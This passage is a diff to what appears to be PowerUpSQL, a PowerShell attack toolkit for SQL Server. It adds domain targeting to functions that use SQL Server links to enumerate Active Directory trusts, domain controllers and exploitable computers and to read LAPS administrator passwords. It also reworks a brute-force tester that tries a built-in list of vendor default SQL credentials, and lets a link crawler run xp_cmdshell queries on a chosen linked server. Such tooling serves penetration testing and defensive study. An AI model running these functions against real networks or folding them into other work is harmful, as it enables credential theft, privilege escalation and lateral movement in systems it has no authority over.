-LdapPath $TargetDomain -LdapFilter '(objectCategory=organizationalUnit)' -LdapFields 'name,distinguishedname,adspath,instancetype,whencreated,whenchanged' -UseAdHoc }else{ - Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapFilter '(objectCategory=organizationalUnit)' -LdapFields 'name,distinguishedname,adspath,instancetype,whencreated,whenchanged' + Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapPath $TargetDomain -LdapFilter '(objectCategory=organizationalUnit)' -LdapFields 'name,distinguishedname,adspath,instancetype,whencreated,whenchanged' } } @@ -8053,6 +8376,8 @@ Function Get-SQLDomainAccountPolicy SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. + .PARAMETER TargetDomain + Domain to query. .EXAMPLE PS C:\> Get-SQLDomainAccountPolicy -Instance SQLServer1\STANDARDDEV2014 -Verbose -UseAdHoc .EXAMPLE @@ -8096,6 +8421,12 @@ Function Get-SQLDomainAccountPolicy HelpMessage = 'Use adhoc connection for executing the query instead of a server link. The link option (default) will create an ADSI server link and use OpenQuery. The AdHoc option will enable adhoc queries, and use OpenRowSet.')] [Switch]$UseAdHoc, + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Domain to query.')] + [string]$TargetDomain, + + [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose @@ -8126,9 +8457,9 @@ Function Get-SQLDomainAccountPolicy { # Call Get-SQLDomainObject if($UseAdHoc){ - $Results = Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapFilter '(objectClass=domainDNS)' -LdapFields 'pwdhistorylength,lockoutthreshold,lockoutduration,lockoutobservationwindow,minpwdlength,minpwdage,pwdproperties,whenchanged,gplink' -UseAdHoc + $Results = Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapPath $TargetDomain -LdapFilter '(objectClass=domainDNS)' -LdapFields 'pwdhistorylength,lockoutthreshold,lockoutduration,lockoutobservationwindow,minpwdlength,minpwdage,pwdproperties,whenchanged,gplink' -UseAdHoc }else{ - $Results = Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapFilter '(objectClass=domainDNS)' -LdapFields 'pwdhistorylength,lockoutthreshold,lockoutduration,lockoutobservationwindow,minpwdlength,minpwdage,pwdproperties,whenchanged,gplink' + $Results = Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapPath $TargetDomain -LdapFilter '(objectClass=domainDNS)' -LdapFields 'pwdhistorylength,lockoutthreshold,lockoutduration,lockoutobservationwindow,minpwdlength,minpwdage,pwdproperties,whenchanged,gplink' } $Results | ForEach-Object { @@ -8183,6 +8514,8 @@ Function Get-SQLDomainGroup SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. + .PARAMETER TargetDomain + Domain to query. .PARAMETER FilterGroup Domain group to filter for. .EXAMPLE @@ -8233,6 +8566,11 @@ Function Get-SQLDomainGroup HelpMessage = 'Use adhoc connection for executing the query instead of a server link. The link option (default) will create an ADSI server link and use OpenQuery. The AdHoc option will enable adhoc queries, and use OpenRowSet.')] [Switch]$UseAdHoc, + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Domain to query.')] + [string]$TargetDomain, + [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose @@ -8256,9 +8594,9 @@ Function Get-SQLDomainGroup { # Call Get-SQLDomainObject if($UseAdHoc){ - Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapFilter "(&(objectClass=Group)(SamAccountName=$FilterGroup))" -LdapFields 'samaccountname,adminCount,whencreated,whenchanged,adspath' -UseAdHoc + Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapPath $TargetDomain -LdapFilter "(&(objectClass=Group)(SamAccountName=$FilterGroup))" -LdapFields 'samaccountname,adminCount,whencreated,whenchanged,adspath' -UseAdHoc }else{ - Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapFilter "(&(objectClass=Group)(SamAccountName=$FilterGroup))" -LdapFields 'samaccountname,adminCount,whencreated,whenchanged,adspath' + Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapPath $TargetDomain -LdapFilter "(&(objectClass=Group)(SamAccountName=$FilterGroup))" -LdapFields 'samaccountname,adminCount,whencreated,whenchanged,adspath' } } @@ -8293,6 +8631,8 @@ Function Get-SQLDomainTrust SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. + .PARAMETER TargetDomain + Domain to query. .EXAMPLE PS C:\> Get-SQLDomainTrust -Instance SQLServer1\STANDARDDEV2014 -Verbose -UseAdHoc .EXAMPLE @@ -8336,6 +8676,11 @@ Function Get-SQLDomainTrust HelpMessage = 'Use adhoc connection for executing the query instead of a server link. The link option (default) will create an ADSI server link and use OpenQuery. The AdHoc option will enable adhoc queries, and use OpenRowSet.')] [Switch]$UseAdHoc, + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Domain to query.')] + [string]$TargetDomain, + [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose @@ -8364,9 +8709,9 @@ Function Get-SQLDomainTrust { # Call Get-SQLDomainObject if($UseAdHoc){ - $Result = Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapFilter "(objectClass=trustedDomain)" -LdapFields 'trustpartner,distinguishedname,trusttype,trustdirection,trustattributes,whencreated,whenchanged,adspath' -UseAdHoc + $Result = Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapPath $TargetDomain -LdapFilter "(objectClass=trustedDomain)" -LdapFields 'trustpartner,distinguishedname,trusttype,trustdirection,trustattributes,whencreated,whenchanged,adspath' -UseAdHoc }else{ - $Result = Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapFilter "(objectClass=trustedDomain)" -LdapFields 'trustpartner,distinguishedname,trusttype,trustdirection,trustattributes,whencreated,whenchanged,adspath' + $Result = Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapPath $TargetDomain -LdapFilter "(objectClass=trustedDomain)" -LdapFields 'trustpartner,distinguishedname,trusttype,trustdirection,trustattributes,whencreated,whenchanged,adspath' } $Result | ForEach-Object { @@ -8452,6 +8797,8 @@ Function Get-SQLDomainPasswordsLAPS SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. + .PARAMETER TargetDomain + Domain to query. .EXAMPLE PS C:\> Get-SQLDomainPasswordsLAPS -Instance SQLServer1\STANDARDDEV2014 -Verbose -UseAdHoc .EXAMPLE @@ -8495,6 +8842,11 @@ Function Get-SQLDomainPasswordsLAPS HelpMessage = 'Use adhoc connection for executing the query instead of a server link. The link option (default) will create an ADSI server link and use OpenQuery. The AdHoc option will enable adhoc queries, and use OpenRowSet.')] [Switch]$UseAdHoc, + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Domain to query.')] + [string]$TargetDomain, + [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose @@ -8518,9 +8870,9 @@ Function Get-SQLDomainPasswordsLAPS { # Call Get-SQLDomainObject if($UseAdHoc){ - $Result = Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapFilter "(objectCategory=Computer)" -LdapFields 'dnshostname,ms-MCS-AdmPwd,adspath' -UseAdHoc + $Result = Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapPath $TargetDomain -LdapFilter "(objectCategory=Computer)" -LdapFields 'dnshostname,ms-MCS-AdmPwd,adspath' -UseAdHoc }else{ - $Result = Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapFilter "(objectCategory=Computer)" -LdapFields 'dnshostname,ms-MCS-AdmPwd,adspath' + $Result = Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapPath $TargetDomain -LdapFilter "(objectCategory=Computer)" -LdapFields 'dnshostname,ms-MCS-AdmPwd,adspath' } $Result | ForEach-Object { @@ -8570,6 +8922,8 @@ Function Get-SQLDomainController SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. + .PARAMETER TargetDomain + Domain to query. .EXAMPLE PS C:\> Get-SQLDomainController -Instance SQLServer1\STANDARDDEV2014 -Verbose -UseAdHoc .EXAMPLE @@ -8613,6 +8967,11 @@ Function Get-SQLDomainController HelpMessage = 'Use adhoc connection for executing the query instead of a server link. The link option (default) will create an ADSI server link and use OpenQuery. The AdHoc option will enable adhoc queries, and use OpenRowSet.')] [Switch]$UseAdHoc, + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Domain to query.')] + [string]$TargetDomain, + [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose @@ -8631,9 +8990,9 @@ Function Get-SQLDomainController { # Call Get-SQLDomainObject if($UseAdHoc){ - Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapFilter "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))" -LdapFields 'name,dnshostname,operatingsystem,operatingsystemversion,operatingsystemservicepack,whenchanged,logoncount' -UseAdHoc + Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapPath $TargetDomain -LdapFilter "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))" -LdapFields 'name,dnshostname,operatingsystem,operatingsystemversion,operatingsystemservicepack,whenchanged,logoncount' -UseAdHoc }else{ - Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapFilter "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))" -LdapFields 'name,dnshostname,operatingsystem,operatingsystemversion,operatingsystemservicepack,whenchanged,logoncount' + Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapPath $TargetDomain -LdapFilter "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))" -LdapFields 'name,dnshostname,operatingsystem,operatingsystemversion,operatingsystemservicepack,whenchanged,logoncount' } } @@ -8669,6 +9028,8 @@ Function Get-SQLDomainExploitableSystem SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. + .PARAMETER TargetDomain + Domain to query. .EXAMPLE PS C:\> Get-SQLDomainExploitableSystem -Instance SQLServer1\STANDARDDEV2014 -Verbose -UseAdHoc .EXAMPLE @@ -8712,6 +9073,11 @@ Function Get-SQLDomainExploitableSystem HelpMessage = 'Use adhoc connection for executing the query instead of a server link. The link option (default) will create an ADSI server link and use OpenQuery. The AdHoc option will enable adhoc queries, and use OpenRowSet.')] [Switch]$UseAdHoc, + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Domain to query.')] + [string]$TargetDomain, + [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose @@ -8822,9 +9188,9 @@ Function Get-SQLDomainExploitableSystem { # Call Get-SQLDomainObject if($UseAdHoc){ - $Result = Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapFilter "(objectCategory=Computer)" -LdapFields 'dnshostname,operatingsystem,operatingsystemversion,operatingsystemservicepack,whenchanged,logoncount' -UseAdHoc + $Result = Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapPath $TargetDomain -LdapFilter "(objectCategory=Computer)" -LdapFields 'dnshostname,operatingsystem,operatingsystemversion,operatingsystemservicepack,whenchanged,logoncount' -UseAdHoc }else{ - $Result = Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapFilter "(objectCategory=Computer)" -LdapFields 'dnshostname,operatingsystem,operatingsystemversion,operatingsystemservicepack,whenchanged,logoncount' + $Result = Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapPath $TargetDomain -LdapFilter "(objectCategory=Computer)" -LdapFields 'dnshostname,operatingsystem,operatingsystemversion,operatingsystemservicepack,whenchanged,logoncount' } # Iterate through each exploit @@ -8889,6 +9255,8 @@ Function Get-SQLDomainGroupMember SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. + .PARAMETER TargetDomain + Domain to query. .PARAMETER FilterGroup Domain group to filter for. .EXAMPLE @@ -8939,6 +9307,11 @@ Function Get-SQLDomainGroupMember HelpMessage = 'Use adhoc connection for executing the query instead of a server link. The link option (default) will create an ADSI server link and use OpenQuery. The AdHoc option will enable adhoc queries, and use OpenRowSet.')] [Switch]$UseAdHoc, + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Domain to query.')] + [string]$TargetDomain, + [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose @@ -8967,18 +9340,18 @@ Function Get-SQLDomainGroupMember { # Call Get-SQLDomainObject to get group DN if($UseAdHoc){ - $FullDN = Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapFilter "(&(objectCategory=group)(samaccountname=$FilterGroup))" -LdapFields 'distinguishedname' -UseAdHoc -SuppressVerbose + $FullDN = Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapPath $TargetDomain -LdapFilter "(&(objectCategory=group)(samaccountname=$FilterGroup))" -LdapFields 'distinguishedname' -UseAdHoc -SuppressVerbose }else{ - $FullDN = Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapFilter "(&(objectCategory=group)(samaccountname=$FilterGroup))" -LdapFields 'distinguishedname' -SuppressVerbose + $FullDN = Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapPath $TargetDomain -LdapFilter "(&(objectCategory=group)(samaccountname=$FilterGroup))" -LdapFields 'distinguishedname' -SuppressVerbose } $DN = $FullDN.distinguishedname # Call Get-SQLDomainObject to get group membership if($UseAdHoc){ - $Results = Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapFilter "(&(objectCategory=user)(memberOf=$DN))" -LdapFields 'samaccountname,displayname' -UseAdHoc + $Results = Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapPath $TargetDomain -LdapFilter "(&(objectCategory=user)(memberOf=$DN))" -LdapFields 'samaccountname,displayname' -UseAdHoc }else{ - $Results = Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapFilter "(&(objectCategory=user)(memberOf=$DN))" -LdapFields 'samaccountname,displayname' + $Results = Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapPath $TargetDomain -LdapFilter "(&(objectCategory=user)(memberOf=$DN))" -LdapFields 'samaccountname,displayname' } $Results | ForEach-Object { @@ -9308,9 +9681,9 @@ Function Get-SQLServiceAccount DECLARE @AgentInstance VARCHAR(250) DECLARE @IntegrationVersion VARCHAR(250) DECLARE @DBEngineLogin VARCHAR(100) - DECLARE @AgentLogin VARCHAR(100) + DECLARE @AgentLogin VARCHAR(100) DECLARE @BrowserLogin VARCHAR(100) - DECLARE @WriterLogin VARCHAR(100) + DECLARE @WriterLogin VARCHAR(100) DECLARE @AnalysisLogin VARCHAR(100) DECLARE @ReportLogin VARCHAR(100) DECLARE @IntegrationDtsLogin VARCHAR(100) @@ -9364,7 +9737,24 @@ Function Get-SQLServiceAccount End { # Return data - $TblServiceAccount + # $TblServiceAccount + + # Create new table + $TblNewObject = New-Object -TypeName System.Data.DataTable + $null = $TblNewObject.Columns.Add("ComputerName") + $null = $TblNewObject.Columns.Add("Instance") + $null = $TblNewObject.Columns.Add("ServiceType") + $null = $TblNewObject.Columns.Add("ServiceAccount") + + # Add rows + $TblNewObject.Rows.Add($TblServiceAccount.ComputerName,$TblServiceAccount.Instance,"AgentService",$TblServiceAccount.AgentLogin) + $TblNewObject.Rows.Add($TblServiceAccount.ComputerName,$TblServiceAccount.Instance,"AnalysisService",$TblServiceAccount.AnalysisLogin) + $TblNewObject.Rows.Add($TblServiceAccount.ComputerName,$TblServiceAccount.Instance,"BrowserService",$TblServiceAccount.BrowserLogin) + $TblNewObject.Rows.Add($TblServiceAccount.ComputerName,$TblServiceAccount.Instance,"SQLService",$TblServiceAccount.DBEngineLogin) + $TblNewObject.Rows.Add($TblServiceAccount.ComputerName,$TblServiceAccount.Instance,"IntegrationService",$TblServiceAccount.IntegrationLogin) + $TblNewObject.Rows.Add($TblServiceAccount.ComputerName,$TblServiceAccount.Instance,"ReportService",$TblServiceAccount.ReportLogin) + $TblNewObject.Rows.Add($TblServiceAccount.ComputerName,$TblServiceAccount.Instance,"WriterService",$TblServiceAccount.WriterLogin) + $TblNewObject } } @@ -11870,21 +12260,25 @@ Function Get-SQLTriggerDml $Query = " use [$DbName]; SELECT '$ComputerName' as [ComputerName], '$Instance' as [Instance], - '$DbName' as [DatabaseName], - name as [TriggerName], - object_id as [TriggerId], + '$DbName' AS [DatabaseName], + SCHEMA_NAME(o.schema_id) AS [SchemaName], + t.name AS [TriggerName], + t.object_id AS [TriggerId], [TriggerType] = 'DATABASE', - type_desc as [ObjectType], - parent_class_desc as [ObjectClass], - OBJECT_DEFINITION(OBJECT_ID) as [TriggerDefinition], - create_date, - modify_date, - is_ms_shipped, - is_disabled, - is_not_for_replication, - is_instead_of_trigger - FROM [$DbName].[sys].[triggers] WHERE 1=1 - $TriggerNameFilter" + t.type_desc AS [ObjectType], + t.parent_class_desc AS [ObjectClass], + OBJECT_DEFINITION(t.object_id) AS [TriggerDefinition], + t.create_date, + t.modify_date, + t.is_ms_shipped, + t.is_disabled, + t.is_not_for_replication, + t.is_instead_of_trigger + FROM + [sys].[triggers] t + INNER JOIN + [sys].[objects] o ON t.parent_id = o.object_id + WHERE 1=1 $TriggerNameFilter" # Execute Query $TblDmlTriggersTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose @@ -12231,9 +12625,9 @@ Function Get-SQLStoredProcedureCLR # Check count $CLRCount = $TblAssemblyFiles.Rows.Count if ($CLRCount -gt 0){ - Write-Verbose "$Instance : Found $CLRCount CLR stored procedures" + Write-Verbose "$Instance : - Found $CLRCount CLR stored procedures" }else{ - Write-Verbose "$Instance : No CLR stored procedures found." + Write-Verbose "$Instance : - No CLR stored procedures found." } # Return data @@ -12653,32 +13047,33 @@ Function Get-SQLStoredProcedureXP '$Instance' as [Instance], '$DbName' as [DatabaseName], o.object_id, - o.parent_object_id, - o.schema_id, - o.type, - o.type_desc, - o.name, - o.principal_id, - s.text, - s.ctext, - s.status, - o.create_date, - o.modify_date, - o.is_ms_shipped, - o.is_published, - o.is_schema_published, - s.colid, - s.compressed, - s.encrypted, - s.id, - s.language, - s.number, - s.texttype - FROM sys.objects o - INNER JOIN sys.syscomments s - ON o.object_id = s.id - WHERE o.type = 'x' - $ProcedureNameFilter" + o.parent_object_id, + o.schema_id, + sc.name AS schema_name, + o.type, + o.type_desc, + o.name, + o.principal_id, + s.text, + CAST(s.ctext AS NVARCHAR(MAX)) AS ctext, + s.status, + o.create_date, + o.modify_date, + o.is_ms_shipped, + o.is_published, + o.is_schema_published, + s.colid, + s.compressed, + s.encrypted, + s.id, + s.language, + s.number, + s.texttype + FROM sys.objects o + INNER JOIN sys.syscomments s ON o.object_id = s.id + INNER JOIN sys.schemas sc ON o.schema_id = sc.schema_id + WHERE o.type = 'x' + $ProcedureNameFilter" # Execute Query $TblXpProcsTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose @@ -14566,7 +14961,7 @@ function Create-SQLFileCLRDll Write-Verbose "Searching for csc.exe..." $CSCPath = Get-ChildItem -Recurse "C:\Windows\Microsoft.NET\" -Filter "csc.exe" | Sort-Object fullname -Descending | Select-Object fullname -First 1 -ExpandProperty fullname if(-not $CSCPath){ - Write-Output "No csc.exe found." + Write-Host "No csc.exe found." return }else{ Write-Verbose "csc.exe found." @@ -14630,9 +15025,9 @@ function Create-SQLFileCLRDll $MySQLCommand | Out-File $CommandPath # Status user - Write-Output "C# File: $SRCPath" - Write-Output "CLR DLL: $DllPath" - Write-Output "SQL Cmd: $CommandPath" + Write-Host "C# File: $SRCPath" + Write-Host "CLR DLL: $DllPath" + Write-Host "SQL Cmd: $CommandPath" } End @@ -14966,9 +15361,9 @@ Function Get-SQLServerLoginDefaultPw $DefaultPasswords.Rows.Add("SIDEXIS_SQL","sa","2BeChanged") | Out-Null $DefaultPasswords.Rows.Add("SQL2K5","ovsd","ovsd") | Out-Null $DefaultPasswords.Rows.Add("SQLEXPRESS","admin","ca_admin") | out-null - $DefaultPasswords.Rows.Add("SQLEXPRESS","gcs_client","SysGal.5560") | Out-Null #SA password = GCSsa5560 - $DefaultPasswords.Rows.Add("SQLEXPRESS","gcs_web_client","SysGal.5560") | out-null #SA password = GCSsa5560 - $DefaultPasswords.Rows.Add("SQLEXPRESS","NBNUser","NBNPassword") | out-null + #$DefaultPasswords.Rows.Add("SQLEXPRESS","gcs_client","SysGal.5560") | Out-Null #SA password = GCSsa5560 + #$DefaultPasswords.Rows.Add("SQLEXPRESS","gcs_web_client","SysGal.5560") | out-null #SA password = GCSsa5560 + #$DefaultPasswords.Rows.Add("SQLEXPRESS","NBNUser","NBNPassword") | out-null $DefaultPasswords.Rows.Add("STANDARDDEV2014","test","test") | Out-Null $DefaultPasswords.Rows.Add("TEW_SQLEXPRESS","tew","tew") | Out-Null $DefaultPasswords.Rows.Add("vocollect","vocollect","vocollect") | Out-Null @@ -15025,29 +15420,35 @@ Function Get-SQLServerLoginDefaultPw return } - # Grab username and password - $CurrentUsername = $TblResultsTemp.username - $CurrentPassword = $TblResultsTemp.password - # Test login - $LoginTest = Get-SQLServerInfo -Instance $instance -Username $CurrentUsername -Password $CurrentPassword -SuppressVerbose - if($LoginTest){ - - Write-Verbose "$Instance : Confirmed default credentials - $CurrentUsername/$CurrentPassword" - - $SysadminStatus = $LoginTest | select IsSysadmin -ExpandProperty IsSysadmin - - # Append if successful - $TblResults.Rows.Add( - $ComputerName, - $Instance, - $CurrentUsername, - $CurrentPassword, - $SysadminStatus - ) | Out-Null - }else{ - Write-Verbose "$Instance : No credential matches were found." - } + #Write-Verbose ($instance).ToString() + #Write-Verbose ($CurrentUsername).ToString() + #Write-Verbose ($CurrentPassword).ToString() + + # Grab and iterate username and password + for($i=0; $i -lt $TblResultsTemp.count; $i++){ + #Write-Verbose $TblResultsTemp + $CurrentUsername = $TblResultsTemp.username[$i] + $CurrentPassword = $TblResultsTemp.password[$i] + $LoginTest = Get-SQLServerInfo -Instance $instance -Username $CurrentUsername -Password $CurrentPassword -SuppressVerbose + if($LoginTest){ + + Write-Verbose "$Instance : Confirmed default credentials - $CurrentUsername/$CurrentPassword" + + $SysadminStatus = $LoginTest | select IsSysadmin -ExpandProperty IsSysadmin + + # Append if successful + $TblResults.Rows.Add( + $ComputerName, + $Instance, + $CurrentUsername, + $CurrentPassword, + $SysadminStatus + ) | Out-Null + }else{ + Write-Verbose "$Instance : No credential matches were found." + } + } } End @@ -15079,7 +15480,9 @@ Function Get-SQLServerLinkCrawl{ .PARAMETER TimeOut Connection timeout. .PARAMETER Query - Custom SQL query to run on each server. + Custom SQL query to run. If QueryTarget isn's given, this will run on each server. + PARAMETER QueryTarget + Link to run SQL query on. .PARAMETER Export Convert collected data to exportable format. .Example @@ -15132,12 +15535,20 @@ Function Get-SQLServerLinkCrawl{ [int]$TimeOut = 2, [Parameter(Mandatory=$false, - HelpMessage="Custom SQL query to run on each server.")] + HelpMessage="Custom SQL query to run. If QueryTarget isn's given, this will run on each server.")] [string]$Query, + [Parameter(Mandatory=$false, + HelpMessage="Link to run SQL query on.")] + [string]$QueryTarget, + [Parameter(Mandatory=$false, HelpMessage="Convert collected data to exportable format.")] - [switch]$Export + [switch]$Export, + + [Parameter(Mandatory=$false, + HelpMessage="Convert collected data to exportable format that is easier to work with.")] + [switch]$Export2 ) Begin @@ -15157,7 +15568,7 @@ Function Get-SQLServerLinkCrawl{ $i-- foreach($Server in $List){ if($Server.Instance -eq "") { - $List = (Get-SQLServerLinkData -list $List -server $Server -query $Query) + $List = (Get-SQLServerLinkData -list $List -server $Server -query $Query -QueryTarget $QueryTarget) $i++ # Verbose output @@ -15173,6 +15584,7 @@ Function Get-SQLServerLinkCrawl{ } } + # Return exportable format if($Export){ $LinkList = New-Object System.Data.Datatable [void]$LinkList.Columns.Add("Instance") @@ -15188,9 +15600,48 @@ Function Get-SQLServerLinkCrawl{ } return $LinkList - } else { - return $List + break + } + + # Return exportable format 2 + if($Export2){ + $LinkList = $List | + foreach { + [string]$StringLinkPath = "" + $Path = $_.path + $PathCount = $Path.count - 1 + $LinkSrc = $Path[$PathCount -1] + $LinkDes = $Path[$PathCount] + $LinkUser = $_.user + $LinkDesSysadmin = $_.Sysadmin + $Instance = $_.instance + $LinkDesVersion = $_.Version + $Path | + foreach { + if ( $StringLinkPath -eq ""){ + [string]$StringLinkPath = "$_" + }else{ + [string]$StringLinkPath = "$StringLinkPath -> $_" + } + } + $Object = New-Object PSObject + $Object | add-member Noteproperty LinkSrc $LinkSrc + $Object | add-member Noteproperty LinkName $LinkDes + $Object | add-member Noteproperty LinkInstance $Instance + $Object | add-member Noteproperty LinkUser $LinkUser + $Object | add-member Noteproperty LinkSysadmin $LinkDesSysadmin + $Object | add-member Noteproperty LinkVersion $LinkDesVersion + $Object | add-member Noteproperty LinkHops $PathCount + $Object | add-member Noteproperty LinkPath $StringLinkPath + $Object + } + + return $LinkList + break } + + # Return powershell object (default) + $List } End @@ -15211,7 +15662,11 @@ Function Get-SQLServerLinkData{ [Parameter(Mandatory=$false, HelpMessage="Custom SQL query to run")] - $Query + $Query, + + [Parameter(Mandatory=$false, + HelpMessage="Target of custom SQL query to run")] + $QueryTarget ) Begin @@ -15235,17 +15690,19 @@ Function Get-SQLServerLinkData{ $Server.Links = [array]$SqlInfoTable.srvname if($Query -ne ""){ - if($Query -like '*xp_cmdshell*'){ - $Query = $Query + " WITH RESULT SETS ((output VARCHAR(8000)))" - } - if($Query -like '*xp_dirtree*'){ - $Query = $Query + " WITH RESULT SETS ((output VARCHAR(8000), depth int))" - } - $SqlInfoTable = Get-SqlQuery -instance $Instance -Query ((Get-SQLServerLinkQuery -path $Server.Path -sql $Query)) -Timeout $Timeout -Username $UserName -Password $Password -Credential $Credential - if($Query -like '*WITH RESULT SETS*'){ - $Server.CustomQuery = $SqlInfoTable.output - } else { - $Server.CustomQuery = $SqlInfoTable + if($QueryTarget -eq "" -or ($QueryTarget -ne "" -and $Server.Instance -eq $QueryTarget)){ + if($Query -like '*xp_cmdshell*'){ + $Query = $Query + " WITH RESULT SETS ((output VARCHAR(8000)))" + } + if($Query -like '*xp_dirtree*'){ + $Query = $Query + " WITH RESULT SETS ((output VARCHAR(8000), depth int))" + } + $SqlInfoTable = Get-SqlQuery -instance $Instance -Query ((Get-SQLServerLinkQuery -path $Server.Path -sql $Query)) -Timeout $Timeout -Username $UserName -Password $Password -Credential $Credential + if($Query -like '*WITH RESULT SETS*'){ + $Server.CustomQuery = $SqlInfoTable.output + } else { + $Server.CustomQuery = $SqlInfoTable + } } } @@ -15286,6 +15743,49 @@ Function Get-SQLServerLinkQuery{ } } + +# ---------------------------------- +# Test-FolderWriteAccess +# ---------------------------------- +# Author: Scott Sutherland +Function Test-FolderWriteAccess +{ + <# + .SYNOPSIS + Check if the current user has write access to a provided directory by creating a temp file and removing it. + .PARAMETER OutFolder + Output 